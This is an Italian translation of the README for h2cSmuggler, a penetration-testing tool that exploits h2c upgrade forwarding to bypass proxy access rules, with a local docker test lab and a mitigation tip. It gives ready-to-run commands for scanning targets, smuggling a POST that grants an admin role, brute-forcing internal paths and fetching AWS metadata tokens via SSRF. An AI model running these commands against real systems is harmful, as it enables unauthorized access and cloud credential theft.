bishopfox/h2csmugglerSmuggling di richieste HTTP su HTTP/2 in chiaro (h2c)
h2cSmuggler contrabbanda traffico HTTP oltre le configurazioni proxy_pass non sicure dei server periferici stabilendo comunicazioni HTTP/2 in chiaro (h2c) con server back-end compatibili con h2c, consentendo di bypassare le regole del proxy e i controlli di accesso.
Vedi il mio dettagliato articolo qui sotto per:
Qui: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
Qualsiasi endpoint proxy che inoltra intestazioni di upgrade h2c può essere vulnerabile. Poiché h2c è progettato per essere eseguito solo su canali in chiaro, il rilevamento su servizi HTTPS spesso produce veri positivi.
Al contrario, i servizi HTTP possono generare falsi positivi. Ad esempio, i proxy abilitati per h2c potrebbero rispondere all'upgrade invece di inoltrarlo a un back-end h2c.
Usa l'opzione --scan-list per testare uno o più server web alla ricerca di endpoint proxy_pass vulnerabili. Considera l'uso di un elenco di directory scoperte tramite enumerazione delle directory, come ad esempio:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
Esegui h2cSmuggler con l'elenco di endpoint e un numero totale di thread:
./h2csmuggler.py --scan-list urls.txt --threads 5
Oppure, un test individuale può essere eseguito con:
./h2csmuggler.py -x https://www.example.com/api/ --test
Una volta identificato un endpoint vulnerabile che può essere utilizzato per il tunneling, puoi ora accedere o forzare brute-force su endpoint interni sul server back-end e fornire verbi o intestazioni personalizzati. Nella demo qui sotto, dimostriamo l'accesso a un endpoint interno /flag utilizzando lo smuggling h2c per bypassare le regole di negazione del proxy.
Per mitigare, non inoltrare valori forniti dall'utente per le intestazioni Upgrade o Connection. Vedi il post tecnico per ulteriori indicazioni.
L'unica dipendenza è la libreria Python hyper-h2:
pip3 install h2
L'ambiente di test ti permetterà di sperimentare con h2cSmuggler in un ambiente controllato. docker-compose simulerà tre catene di proxy che portano a un back-end Golang abilitato per h2c:
Porta TCP: Descrizione
========= ===========
8000: Back-end HTTP h2c
8001: HAProxy -> back-end h2c (configurazione predefinita non sicura)
8002: nginx -> back-end h2c (configurazione personalizzata non sicura)
8003: Nuster -> HAProxy -> back-end h2c (configurazione non sicura con più livelli di proxy)
[1] Genera i certificati e avvia l'ambiente con docker-compose:
# Genera certificati
./configs/generate-certificates.sh
# Attiva i servizi
docker-compose up
Tutti i proxy negano l'accesso all'endpoint /flag accessibile sul back-end h2c. Proviamo ad accedere all'endpoint vietato tramite il server HAProxy in esecuzione sulla porta 8001:
Possiamo usare h2cSmuggler per confermare la configurazione non sicura del proxy usando --test (o -t):
Ora, usiamo h2cSmuggler per eseguire un upgrade h2c, tunnelare il nostro traffico HTTP/2 attraverso il proxy e richiedere l'endpoint /flag dal back-end, bypassando il controllo di accesso del proxy:
Per una spiegazione più approfondita di ciò che accade, dai un'occhiata all'analisi tecnica.
h2cSmuggler utilizza una sintassi simile a curl per descrivere la richiesta contrabbandata:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
--scan-list SCAN_LIST
list of URLs for scanning
--threads THREADS # of threads (for use with --scan-list)
--upgrade-only drop HTTP2-Settings from outgoing Connection header
-x PROXY, --proxy PROXY
proxy server to try to bypass
-i WORDLIST, --wordlist WORDLIST
list of paths to bruteforce
-X REQUEST, --request REQUEST
smuggled verb
-d DATA, --data DATA smuggled data
-H HEADER, --header HEADER
smuggled headers
-m MAX_TIME, --max-time MAX_TIME
socket timeout in seconds (type: float; default 10)
-t, --test test a single proxy server
-v, --verbose
1. Scansione di un elenco di URL (ad es., https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) per identificare endpoint proxy_pass suscettibili allo smuggling (fai attenzione al numero di thread quando testi un singolo server):
./h2csmuggler.py --scan-list urls.txt --threads 5
Oppure, per reindirizzare l'output su un file. Usa stderr (2>) e stdout (1>). Il flusso stderr contiene errori (es., problemi di handshake SSL/timeout), mentre stdout contiene i risultati.
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2. Invio di una richiesta POST contrabbandata oltre https://edgeserver a un endpoint interno:
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3. Forzatura brute-force di endpoint interni (usando il multiplexing HTTP/2), dove dirs.txt rappresenta un elenco di percorsi (ad es., /api/, /admin/).
/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
4. Sfruttamento di SSRF tramite intestazione Host su smuggling h2c (ad es., metadati AWS IMDSv2):
Recupero del token:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`